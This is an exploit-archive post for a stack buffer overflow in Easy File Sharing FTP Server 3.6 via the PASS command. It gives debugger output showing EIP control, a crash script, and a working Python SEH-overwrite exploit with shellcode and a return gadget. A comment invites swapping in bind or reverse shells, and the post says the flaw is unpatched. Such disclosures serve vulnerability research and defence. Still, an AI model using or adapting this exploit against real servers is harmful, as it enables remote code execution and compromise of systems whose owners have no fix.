Home / os / winmobile

Easy File Sharing FTP Server 3.6 Stack Buffer Overflow

Posted on 19 December 2015

# Exploit Title: Easy File Sharing FTP Server 3.6 (0day) - Stack Overflow
# Date: 13-12-2015
# Exploit Author: @zeifan
# Vendor Homepage: http://www.sharing-file.com/products.htm
# Software Link: http://www.efssoft.com/efsfs.exe
# Version: 3.6 (REQUIRED)
# Tested on: Windows 7 SP1 x86
# CVE : No CVE (Vendor contacted, no response)

1. Description
===============
To trigger the vulnerability, we need to send buffer more than 3000 bytes. Vulnerable part is the "PASS" input. So in this case the target should be like e.g. (Python):

 reqftp += "A" * 3000
 ... code cut here ...
 s.send("PASS " + reqftp + "
")

However, before sending the buffer to "PASS" input, we need to escaped a character by using "x2c", example below. Further info, https://www.cleo.com/support/byproduct/lexicom/usersguide/ftp_configuration.htm.

 reqftp = "x2c" + "A" * 3000

Upon overflowing, it will stop here at this function:

0046C18C /$ 56 PUSH ESI
0046C18D |. 57 PUSH EDI
0046C18E |. 8B7C24 0C MOV EDI,DWORD PTR SS:[ESP+C]
0046C192 |. 8BF1 MOV ESI,ECX
0046C194 |. 8B0E MOV ECX,DWORD PTR DS:[ESI]
0046C196 |. 8B07 MOV EAX,DWORD PTR DS:[EDI]
0046C198 |. 3BC8 CMP ECX,EAX
0046C19A |. 74 39 JE SHORT fsfs.0046C1D5
0046C19C |. 8379 F4 00 CMP DWORD PTR DS:[ECX-C],0
0046C1A0 |. 7D 0B JGE SHORT fsfs.0046C1AD
0046C1A2 |. 83C1 F4 ADD ECX,-0C
0046C1A5 |. 3B0D 78A04900 CMP ECX,DWORD PTR DS:[49A078] ; fsfs.0049A07C
0046C1AB |. 75 06 JNZ SHORT fsfs.0046C1B3
0046C1AD |> 8378 F4 00 CMP DWORD PTR DS:[EAX-C],0 <--- EIP

Continuing the execution by pressing "Shift + F9" (Immunity Debugger) will overwrite the EIP, e.g. (Register):

EAX 00000000
ECX 41414141
EDX 777771CD ntdll.777771CD
EBX 00000000
ESP 04279D18
EBP 04279D38
ESI 00000000
EDI 00000000
EIP 41414141

Below are the proof of concept to trigger overflow as well to control the EIP.

 # Trigger overflow
 import socket, sys

 if len(sys.argv) <= 1:
 print "Usage: poc.py <target_ip> <target_port>"
 exit(1)
 ip = sys.argv[1]
 port = int(sys.argv[2])

 reqftp = "x2c" + "A" * 3000
 reqftp += "x42"*30

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, port))
 s.recv(1024)
 s.send("USER anonymous
")
 s.recv(1024)
 s.send("PASS " + reqftp + "
")
 s.recv(1024)
 s.close()

2. Proof of Concept (Working Exploit - SEH)

 # Crafted for fun and polishing skillz!
 # @zeifan
 import sys, socket, struct

 if len(sys.argv) <= 1:
 print "
Easy File Sharing FTP Server 3.6 Stack Overflow - @zeifan"
 print "
Usage: poc.py <target_ip> <port>
"
 exit()
 ip = sys.argv[1]
 port = int(sys.argv[2])

 # Shellcode can be change to any (bind, reverse, etc.)
 # Hello World MessageBoxW Shellcode
 # https://www.exploit-db.com/exploits/37758/
 shellcode = ("x33xc9x64x8bx49x30x8bx49x0cx8b" +
 "x49x1cx8bx59x08x8bx41x20x8bx09" +
 "x80x78x0cx33x75xf2x8bxebx03x6d" +
 "x3cx8bx6dx78x03xebx8bx45x20x03" +
 "xc3x33xd2x8bx34x90x03xf3x42x81" +
 "x3ex47x65x74x50x75xf2x81x7ex04" +
 "x72x6fx63x41x75xe9x8bx75x24x03" +
 "xf3x66x8bx14x56x8bx75x1cx03xf3" +
 "x8bx74x96xfcx03xf3x33xffx57x68" +
 "x61x72x79x41x68x4cx69x62x72x68" +
 "x4cx6fx61x64x54x53xffxd6x33xc9" +
 "x57x66xb9x33x32x51x68x75x73x65" +
 "x72x54xffxd0x57x68x6fx78x41x01" +
 "xfex4cx24x03x68x61x67x65x42x68" +
 "x4dx65x73x73x54x50xffxd6x57x68" +
 "x72x6cx64x21x68x6fx20x57x6fx68" +
 "x48x65x6cx6cx8bxccx57x57x51x57" +
 "xffxd0x57x68x65x73x73x01xfex4c" +
 "x24x03x68x50x72x6fx63x68x45x78" +
 "x69x74x54x53xffxd6x57xffxd0"
 )

 # Escaped character + Buffer
 reqftp = "x2c" + "x41" * 2559

 # 16 bytes SEH
 reqftp += "xebx10x90x90"

 # 0x100182d3 : {pivot 8 / 0x08}
 # POP EBP
 # MOV EAX,1
 # POP EBX
 # RETN
 reqftp += struct.pack("<I", 0x100182d3)
 reqftp += "x42" * 100
 reqftp += shellcode

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, port))
 print "
MessageBox will pop up!"
 s.recv(1024)
 s.send("USER anonymous
")
 s.recv(1024)
 s.send("PASS " + reqftp + "
")
 s.recv(1024)
 s.close()

3. Solutions
No solution as the affected software are the latest update (at least from the site).

*** Shout to Yeh, yodan, Lai, KS, t1nk3r, JinJin ***

 

TOP